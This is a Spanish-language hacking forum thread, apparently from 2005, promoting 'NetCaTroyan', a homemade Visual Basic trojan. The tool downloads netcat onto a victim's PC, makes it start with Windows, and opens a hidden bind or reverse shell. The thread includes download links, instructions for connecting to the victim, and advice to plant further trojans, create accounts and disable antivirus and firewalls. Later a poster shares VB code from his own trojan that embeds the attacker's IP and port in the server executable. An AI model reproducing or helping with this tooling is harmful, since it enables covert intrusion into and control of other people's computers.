Pekeña aplicacion para instalar netcat en otro pc, hecho x mi. NetCaTroyan.

Iniciado por BeRti, 19 Abril 2005, 18:51 PM

0 Miembros y 2 Visitantes están viendo este tema.

SeniorX

try {
     live();
}
catch (ShitHappensException ex) {
MessageBox.Show(ex.Solution)
}

Precaución: La programacion puede producir adiccion

TigreDARK

Cita de: el_new_des en  4 Julio 2005, 02:50 AM
LEE TODO DENUEVO, TE PERDISTE ALGUN PASO!
PONGO ACA LO QUE PUSO EL CREADOR DEL TROYAN.

holas mi nick real es ^Nous^ pero se me fue la pinza al registrarme xDD.
weno he hecho una kutrada pa instalar el netcat al pardillo de turno, lo que hace este prog es bajarse el nc de una web, instalarlo en el directorio del  sistema y que se inicie siempre que se arranke win.
tambien trae un edit server para elegir si kieres simplemente abrirle un puerto a la victima y conectarte o si prefieres que se te conecte el por reverse shelll.
un fallo que tiene es que solo funciona si editas el server una sola vez, la 2ª ya no lo guarda, asike mejor que no os ekibokeis o simpelemente borrais la karpeta y deskompriimis otra vez, asi ya podeis volver a editar el server, el q x cierto esta comprimido en upx.

ya solo decir que el diseño es mas que kutre xDDD pero que kieres si lo he hecho en 15-20mins.

enlace: http://www.gratisweb.com/nc2k5/NetCaTroyanBy^Nous^.rar


ale ya podeis ponerme verde x esta p**a bazofia xD.

weno ya sabreis que despues de que le paseis el server al tio no tendreis shell hasta que no reinicie xq no he puesto pa que se ejecute el netcat ... jeje y paso de hacer que se reinicie el pc despues de descargar el netcat xq sino canta mucho. despues si eso esta noche hago que se ejecute el netcat despues de ser descargado y asi no tener que esperar a que reinicien el pc... como ya todos sabreis despues con la shell podeis subir vuestros troyanos o haceros un user  detener AVs y firewalls.... xao.
***********************************************************************
***********************************************************************
na pos mu facil, si has elegido reverse shell, kuando le mandes el server, el programa te abrira el solo dos nc a la escucha en tu pc para que su nc se konecte al tuyo y ya tienes shell, por uno de los nc recibiras la informacion y x el otro la enviaras.
si has elegido abrir un puerto pos simplemente abres tu nc, pones nc -vv ipvictima puerto y te conectas, y ya tienes shell.

una vez dentro ya sabes puedes subir troyanos krear users etc etc etc.

tambien estoy pensando en poner una opcion para que se ejecute una shell inversa a una hora determinada del dia.... no se

**la shell se ejecuta en segundo plano, oculto vamos
**na pos mu facil, si has elegido reverse shell, kuando le mandes el server, el programa te abrira el solo dos nc a la escucha en tu pc para que su nc se konecte al tuyo y ya tienes shell, por uno de los nc recibiras la informacion y x el otro la enviaras.
si has elegido abrir un puerto pos simplemente abres tu nc, pones nc -vv ipvictima puerto y te conectas, y ya tienes shell.

una vez dentro ya sabes puedes subir troyanos krear users etc etc etc
**bueno ya esta un poco mejorado, ya lo podeis user, podeis renombrar el server.exe como kerais, otra kosa, tendreis que subir el netcat, osea el nc.exe a el servidor que kerais y indicarlo en el programa. Otra cosa, solo se puede editar el server una vez, asike si lo kereis editar mas veces borrais la karpeta y volveis a descomprimir. aver si pa la siguiente version corrijo ese fallo y consigo poner lo de sell inversa a una determinada hora del dia.

descargar http://venus.walagata.com/w/nc2k5/1401581.rar
************************************************
Espero que sea Util!
Asi leen todo junto! y no preguntan lo mismo siempre!
Bye


Isirius

Este programa es genial qeu bien muchas gracias solo tengo una pregunta y es en que lenguages lo has eho vb o c o como es que tengo curiosidad agradeceria mucho qeu me contestaran o pusieras el codigo muchisimas gracias.

SeniorX

esta hecho en vb, pero el codigo parece que el autor no lo quiere poner (yo no tengo nada que ver con el programa solo respondo tu duda)
try {
     live();
}
catch (ShitHappensException ex) {
MessageBox.Show(ex.Solution)
}

Precaución: La programacion puede producir adiccion

Isirius

Gracias muchas gracias.Haber si nos pondra el codigo es que tengo curiosidad.

bigsnake

bueno,alguien k aya subido el nc.exe k diga la dire pa bajarlo,esk algunos no tnemos hosting ni sabemos como subir

graciasss

sH

hola.
  lei todo con atencion pero igual no entiendo.
YO EDITO EL SERVER: pongo mi ip, el puerto que quiero abrirle a la victima, y despues no se que hacer. y tampoco se kual es la ruta web del net cat.

¿yo tengo que enviar el nc.exe para que se le abra el puerto?

=mente, si enviarlo, abro el server y no se abre nada.
(aclaracion: cuando abro el cmd.exe, y pongo "nc", el comando netcat, me dice que no existe bla bla bla)

                     HELP MY!
¿esta es mi firma?, k fea es !!!

xavierote

Una pregunta sobre el editor del servidor.
Exactamente, dónde se guarda la información del servidor al editarlo y poner tu ip, la dirección donde se debe bajar el NetCat y también si se hará un Reverse Shell o dejar puerto a la escucha.
He copiado el server.exe para modificarlo y luego hacer una comparación con el original servidor y el archivo no se modifica, al menos con el editor que se encuentra en el 1401581.rar, ya que el NetCaTroyanBy^Nous^.rar no lo he podido probar porque no se descarga.
Una de dos, o el programa no hace lo que tiene que hacer, o simplemente es un error de programación.
Un saludo.

BeRti

hola que tal a ver he estado sin pasarme por aki mucho tiempo por otros temas y weno la verdad es que el programita lo abandone pero le hare de nuevo por que lo borre del pc, ademas parece que la cuenta en gratisweb donde estaba desaparecio, esta hecho en vb y el codigo es muyyyy facil lo unico kizas un poco "complicado" son las variables que se guardan para editar el server, en cuanto lo re haga lo subo y lo  pongo aki, y decir que kuando le hice funcionaba ( a mi por lo menos) en win 98 y xp.
Lo unico mayor que el amor a la libertad es el odio, el odio a kien te la kita!

xavierote

Para guardar las variables en el propio servidor es muy sencillo.
Te paso unas funciones que programé cuando hice un troyano en visual basic:

NOTA: Utilizo otro mod para hacer un cambio de base 16 a base 10, aunque todavía no se por qué lo hice así, porque se puede guardar facilmente el puerto sin hacer cambios de base. Pero bueno, eso no es lo importante.

Ahí van las funciones, siento no tenerlas comentadas pero es muy fácil de entender y con un poco de habilidad se pueden adaptar a tu programa.

Función para guardar las variables en el ejecutable.
Private Function GuardarVariables(sArchivo As String, sPuerto As String, sIP As String, ModoEscucha As Byte)
    Dim SeparandoIp() As String
    Dim GuardandoIP As Byte
    Dim GuardandoPuerto As String
    Dim SeparandoPuerto As Byte
    Dim foo As Integer
    Dim i As Integer
   
    foo = FreeFile
   
    Open sArchivo For Binary As #foo
   
    GuardandoPuerto = VeryLongConvert(sPuerto, 10, 16)
    SeparandoPuerto = VeryLongConvert(Mid$(GuardandoPuerto, 3, 2), 16, 10)
    Put #foo, LOF(foo) + 1, SeparandoPuerto
   
    SeparandoPuerto = VeryLongConvert(Mid$(GuardandoPuerto, 1, 2), 16, 10)
    Put #foo, LOF(foo) + 1, SeparandoPuerto
   
    SeparandoIp = Split(sIP, ".")
   
    For i = 0 To UBound(SeparandoIp)
        GuardandoIP = SeparandoIp(i)
        Put #foo, LOF(foo) + 1, GuardandoIP
    Next i
   
    Put #foo, LOF(foo) + 1, ModoEscucha
   
    Close #foo
End Function


Función para cargar las variables del ejecutable.
Public Function CargaVariables(sArchivo As String, sCargar As OpcionesCarga) As String
    Dim foo As Integer
    Dim PuertoServer As Byte
    Dim Convirtiendo As String
    Dim ObteniendoDatos As String
    Dim i As Integer
   
    foo = FreeFile
   
    Open sArchivo For Binary As #foo
   
    If LOF(foo) = 0 Then
        Exit Function
    End If
   
    Select Case sCargar
        Case 0
            Get #foo, LOF(foo) - 5, PuertoServer
            ObteniendoDatos = PuertoServer
            Convirtiendo = VeryLongConvert(ObteniendoDatos, 10, 16)
            If Len(VeryLongConvert(ObteniendoDatos, 10, 16)) = 1 Then: Convirtiendo = "0" & Convirtiendo
           
            Get #foo, LOF(foo) - 6, PuertoServer
            ObteniendoDatos = PuertoServer
            If Len(VeryLongConvert(ObteniendoDatos, 10, 16)) = 1 Then
                Convirtiendo = Convirtiendo & "0" & VeryLongConvert(ObteniendoDatos, 10, 16)
            Else
                Convirtiendo = Convirtiendo & VeryLongConvert(ObteniendoDatos, 10, 16)
            End If
            Convirtiendo = VeryLongConvert(Convirtiendo, 16, 10)
           
            CargaVariables = Convirtiendo
           
        Case 1
            For i = 4 To 1 Step -1
                Get #foo, LOF(foo) - i, PuertoServer
                ObteniendoDatos = PuertoServer
                If i = 4 Then
                    Convirtiendo = Convirtiendo & ObteniendoDatos
                Else
                    Convirtiendo = Convirtiendo & "." & ObteniendoDatos
                End If
            Next i
            CargaVariables = Convirtiendo
       
        Case 2
            Get #foo, LOF(foo), PuertoServer
            CargaVariables = PuertoServer
    End Select
   
    Close #foo

End Function


Módulo para hacer cambios de base

Option Compare Text

'Most used bases
Public Const B_BIN As Integer = 2
Public Const B_OCT As Integer = 8
Public Const B_DEC As Integer = 10
Public Const B_HEX As Integer = 16
'Some separators
Public Const DEFAULT_SEPARATOR As String = "."
Public Const COMMA_SEPARATOR As String = ","

Private Digits(0 To 35) As String 'Bases digits
Private INum() As Integer 'Input number
Private ONum() As Integer 'Output number
Private IBase As Integer 'Input base
Private OBase As Integer 'Output base

'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'VeryLongConvert : function that converts a huge number as string from a base to
'                  another one
'
'                  Version : 1.01
'                  Author:  Guillaume GIFFARD
'                  Date : 01/03/2002
'                  Mail : Guiland@mail.com
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'INPUTS :  * Word As String : the huge number to convert
'
'          * FromBase As Integer : the base in witch Word is written
'
'          * ToBase As Integer : the base in witch Word is to convert
'
'          * Separator As String : this Optional variable is the decimal separator,
'          usely the point
'
'          FromBase and ToBase are integers from 2 to 36
'
'OUTPUTS : * the function returns the huge number value converted from FromBase to
'          ToBase as string. It returns "" if Word is empty or if FromBase or
'          ToBase is not between 2 and 36
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Public Function VeryLongConvert(Word As String, FromBase As Integer, ToBase As Integer, Optional Separator As String = DEFAULT_SEPARATOR) As String
    If Word = "" Or FromBase < 2 Or FromBase > 36 Or ToBase < 2 Or ToBase > 36 Then Exit Function
    If Digits(35) <> "Z" Then InitDigits
    Call StringToArray(Word, FromBase, Separator)
    Convert (ToBase)
    VeryLongConvert = DeleteZeros(ArrayToString(Separator), Separator)
End Function

'Saves the bases digits in an array
Private Sub InitDigits()
    For i = 0 To 9
        Digits(i) = i
    Next i
    For i = 10 To 35
        Digits(i) = Chr(i + 55)
    Next i
End Sub

'Saves a number as string in an array of integers
'Each cell of the array in one digit of the number
Private Sub StringToArray(Word As String, Base As Integer, Optional Separator As String = DEFAULT_SEPARATOR)
    If Word = "" Or Base < 2 Or Base > 36 Then Exit Sub
    Dim Point As Integer, Min As Integer, Max As Integer, NoPoint As Integer
    IBase = Base
    Point = InStr(1, Word, Separator, vbTextCompare)
    If Point = 0 Then
        Max = Len(Word) - 1
        Min = 0
    Else
        Max = Point - 2
        Min = Point - Len(Word) + Len(Separator) - 1
    End If
    ReDim INum(Min To Max)
    For i = 0 To Len(Word) - 1
        If i <= Len(Word) - Point And i >= Len(Word) - Point - Len(Separator) + 1 Then
            NoPoint = NoPoint - 1
        Else
            INum(Min + i + NoPoint) = Number(Left(Right(Word, i + 1), 1), IBase)
        End If
    Next i
End Sub

'Returns the number corresponding to a digit as string if the digit is allowed
'by the base. e.g. : C is allowed in hexadecimal but not in decimal or in octal
Private Function Number(Digit As String, Base As Integer) As Integer
    If Digit = "" Or Base < 2 Or Base > 36 Then Exit Function
    For i = 0 To 35
        If i = Base Then Exit Function
        If UCase(Digit) = Digits(i) Then Number = i
    Next i
End Function

'THE sub that converts INum to ONum with IBase and OBase
Private Sub Convert(Base As Integer)
    If Base < 2 Or Base > 36 Then Exit Sub
    Dim Max As Integer, Min As Integer
    Dim TmpNum() As Integer, Tmp2Num() As Integer

    OBase = Base
    Max = RoundOverInt(Int((UBound(INum, 1) + 1) * Log(IBase) / Log(OBase)))
    Min = Int(LBound(INum, 1) * Log(IBase) / Log(OBase))
    ReDim ONum(Min To Max)
    i = 0 'LBound(ONum, 1)
    Call DivideVeryLong(INum, OBase, TmpNum, ONum(i), IBase)
    i = i + 1
    Do Until i > UBound(ONum, 1)
        Call DivideVeryLong(TmpNum, OBase, Tmp2Num, ONum(i), IBase)
        ReDim TmpNum(LBound(Tmp2Num, 1) To UBound(Tmp2Num, 1))
        For j = LBound(Tmp2Num, 1) To UBound(Tmp2Num, 1)
            TmpNum(j) = Tmp2Num(j)
        Next j
        i = i + 1
    Loop
End Sub

'round numbers to the closest higher integer
'e.g. : 3.9 gives 4 ; 3.4 gives 4 ; 3 gives 3
Private Function RoundOverInt(Value As Double) As Double
    If Value = Int(Value) Then RoundOverInt = Value Else RoundOverInt = Int(Value) + 1
End Function

'Divides a huge number by an integer and returns the huge quotient and the remainder
Private Sub DivideVeryLong(Numerator() As Integer, Denominator As Integer, QuotientOut() As Integer, Remainder As Integer, Base As Integer)
    Dim Tmp As Long, Decal As Long
    ReDim QuotientOut(LBound(Numerator, 1) To UBound(Numerator, 1))
    Tmp = 0
    Decal = 0
    For i = UBound(Numerator, 1) To 0 Step -1 'LBound(Numerator, 1) Step -1
        Tmp = Tmp * Base + Numerator(i)
        QuotientOut(i - Decal) = Tmp \ Denominator
        'If QuotientOut(i - Decal) = 0 And Decal = i - 1 Then
        '    Decal = Decal - 1
        '    ReDim QuotientOut(LBound(Numerator, 1) To UBound(Numerator, 1) - Decal)
        'End If
        Tmp = Tmp - QuotientOut(i - Decal) * Denominator
    Next i
    Remainder = Tmp
End Sub

'Saves an array in a string
Private Function ArrayToString(Optional Separator As String = DEFAULT_SEPARATOR) As String
    For i = UBound(ONum, 1) To LBound(ONum, 1) Step -1
        If i = -1 Then ArrayToString = ArrayToString & Separator
        ArrayToString = ArrayToString & Digits(ONum(i))
    Next i
End Function

'Deletes zeros before and after the number as string and, if possible, deletes the
'separator
Private Function DeleteZeros(Word As String, Optional Separator As String = DEFAULT_SEPARATOR) As String
    Dim Point As Integer, WordTmp As String
    WordTmp = Word
    Do
        Point = InStr(1, WordTmp, "0", vbTextCompare)
        If Point = 1 Then WordTmp = Right(WordTmp, Len(WordTmp) - 1) Else Exit Do
    Loop
    If InStr(1, WordTmp, Separator, vbTextCompare) <> 0 Then
        Do
            Point = InStr(Len(WordTmp) - 1, WordTmp, "0", vbTextCompare)
            If Point = Len(WordTmp) - 1 Then WordTmp = Left(WordTmp, Len(WordTmp) - 1) Else Exit Do
        Loop
        Do
            Point = InStr(Len(WordTmp) - 1, WordTmp, "0", vbTextCompare)
            If Point = Len(WordTmp) Then WordTmp = Left(WordTmp, Len(WordTmp) - 1) Else Exit Do
        Loop
    End If
    If WordTmp = "" Then WordTmp = "0"
    If InStr(1, WordTmp, Separator, vbTextCompare) = Len(WordTmp) - Len(Separator) + 1 Then WordTmp = Left(WordTmp, Len(WordTmp) - Len(Separator))
    DeleteZeros = WordTmp
End Function



Un Saludo.